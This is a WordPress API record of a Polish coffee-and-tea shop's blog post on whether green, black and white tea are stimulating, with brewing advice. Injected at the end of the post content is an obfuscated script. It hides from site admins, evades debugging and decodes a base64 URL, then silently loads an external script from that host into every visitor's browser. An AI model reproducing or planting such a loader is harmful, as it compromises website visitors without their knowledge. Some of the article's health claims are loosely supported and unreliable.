{"id":4526,"date":"2020-10-07T08:18:46","date_gmt":"2020-10-07T06:18:46","guid":{"rendered":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4526"},"modified":"2026-03-09T05:14:15","modified_gmt":"2026-03-09T04:14:15","slug":"czy-herbata-pobudza","status":"publish","type":"post","link":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4526","title":{"rendered":"Czy herbata pobudza?"},"content":{"rendered":"\n<p><strong>Gor\u0105ca herbata to nap\u00f3j, po kt\u00f3ry si\u0119gamy najcz\u0119\u015bciej w sezonie jesienno-zimowym. Pyszny, ciep\u0142y napar doskonale rozgrzewa podczas ch\u0142odniejszych dni. Z kolei latem \u015bwietnie sprawdza si\u0119 mro\u017cona herbata, kt\u00f3ra orze\u017awia nas w trakcie upa\u0142\u00f3w. Jednak czy herbata \u2013 przy swoich wszelkich walorach smakowych \u2013 podobnie jak kawa, dzia\u0142a r\u00f3wnie\u017c pobudzaj\u0105co? Odpowied\u017a znajdziesz w naszym artykule!<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Czy zielona herbata pobudza?<\/h2>\n\n\n\n<p>Odpowiednikiem kofeiny w herbacie jest teina, kt\u00f3ra ma dzia\u0142anie pobudzaj\u0105ce. Jak wydoby\u0107 te w\u0142a\u015bciwo\u015bci z zielonej herbaty? Ot\u00f3\u017c wystarczy zala\u0107 li\u015bcie wod\u0105 w temperaturze 60-80\u00b0C i pozostawi\u0107 na 2-3 minuty. W tym czasie bowiem zawarta w zielonej herbacie teina \u0142\u0105czy si\u0119 z garbnikami, dzi\u0119ki czemu tworzy si\u0119 pobudzaj\u0105cy nap\u00f3j, kt\u00f3ry dzia\u0142a podobnie jak kawa. W 200 ml zielonej herbaty znajduje si\u0119 ok 30-50 mg teiny. Ta ilo\u015b\u0107 pozwoli nie tylko pozby\u0107 si\u0119 uczucia senno\u015bci, ale tak\u017ce wesprze\u0107 prawid\u0142owe funkcjonowanie m\u00f3zgu. Warto pami\u0119ta\u0107, \u017ce w\u0142a\u015bciwo\u015bci pobudzaj\u0105ce zielonej herbaty uwalniaj\u0105 si\u0119 wy\u0142\u0105cznie przy pierwszym parzeniu (li\u015bcie te mo\u017cna parzy\u0107 nawet trzykrotnie). Co wi\u0119cej, przy parzeniu zielonej herbaty przez wi\u0119cej ni\u017c trzy minuty zmieniaj\u0105 si\u0119 jej w\u0142a\u015bciwo\u015bci \u2013 z pobudzaj\u0105cych w relaksuj\u0105ce, dlatego warto pilnowa\u0107 tego czasu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Czy czarna herbata pobudza?<\/h2>\n\n\n\n<p>Czarna herbata r\u00f3wnie\u017c ma w\u0142a\u015bciwo\u015bci pobudzaj\u0105ce i \u2013 podobnie jak w przypadku zielonej herbaty \u2013 uwalniaj\u0105 si\u0119 one, gdy jest parzona 2-3 minuty. Warto jednak pami\u0119ta\u0107, \u017ce temperatura parzenia czarnej herbaty jest nieco wy\u017csza i wynosi 95\u00b0C. W fili\u017cance takiego naparu znajduje si\u0119 oko\u0142o 50-80 mg teiny. Aromatyczny i skutecznie pobudzaj\u0105cy napar uzyskasz jednak wy\u0142\u0105cznie z wysokiej jako\u015bci li\u015bci, kt\u00f3rych warto szuka\u0107 w dobrych <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/herbata\/\"><strong>sklepach z herbat\u0105<\/strong><\/a>. Je\u015bli chodzi o najpopularniejsze rodzaje czarnej herbaty, wymienia si\u0119 przede wszystkim t\u0119 czw\u00f3rk\u0119: Assam, Darjeeling, Yunnan oraz herbat\u0119 cejlo\u0144sk\u0105.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Czy bia\u0142a herbata pobudza?<\/h2>\n\n\n\n<p>Je\u015bli za\u015b potrzebujesz solidnego pobudzenia, koniecznie si\u0119gnij po niezawodn\u0105 bia\u0142\u0105 herbat\u0119, kt\u00f3ra zawiera naprawd\u0119 du\u017c\u0105 porcj\u0119 teiny \u2013 w 200 ml naparu znajduje si\u0119 jej a\u017c 75 mg. Doskonale wp\u0142ywa na prac\u0119 m\u00f3zgu, pami\u0119\u0107 oraz koncentracj\u0119. Jak powinno si\u0119 j\u0105 parzy\u0107, by zapewnia\u0142a jak najlepsze efekty? Wystarczy jedn\u0105 \u0142y\u017ceczk\u0119 herbaty wsypa\u0107 do fili\u017canki, zala\u0107 200 ml wody w temperaturze 80-90\u00b0C i zaparza\u0107 2-5 minut. By doda\u0107 naparowi mocy nie nale\u017cy wyd\u0142u\u017ca\u0107 czasu parzenia, lecz u\u017cy\u0107 wi\u0119kszej ilo\u015bci li\u015bci bia\u0142ej herbaty.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Czy herbata mo\u017ce dzia\u0142a\u0107 pobudzaj\u0105co? Temu tematowi przygl\u0105damy si\u0119 w naszym najnowszym artykule. Pod lup\u0119 bierzemy zar\u00f3wno klasyczn\u0105 czarn\u0105 herbat\u0119, jak r\u00f3wnie\u017c herbat\u0119 zielon\u0105 i bia\u0142\u0105. Dowiedz si\u0119, jak wp\u0142ywaj\u0105 na organizm i kt\u00f3ra z nich b\u0119dzie najlepsz\u0105 alternatyw\u0105 dla kawy. Zapraszamy do lektury!<\/p>\n","protected":false},"author":3,"featured_media":4527,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4526","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4526","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4526"}],"version-history":[{"count":2,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4526\/revisions"}],"predecessor-version":[{"id":12767,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4526\/revisions\/12767"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/media\/4527"}],"wp:attachment":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4526"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4526"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4526"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}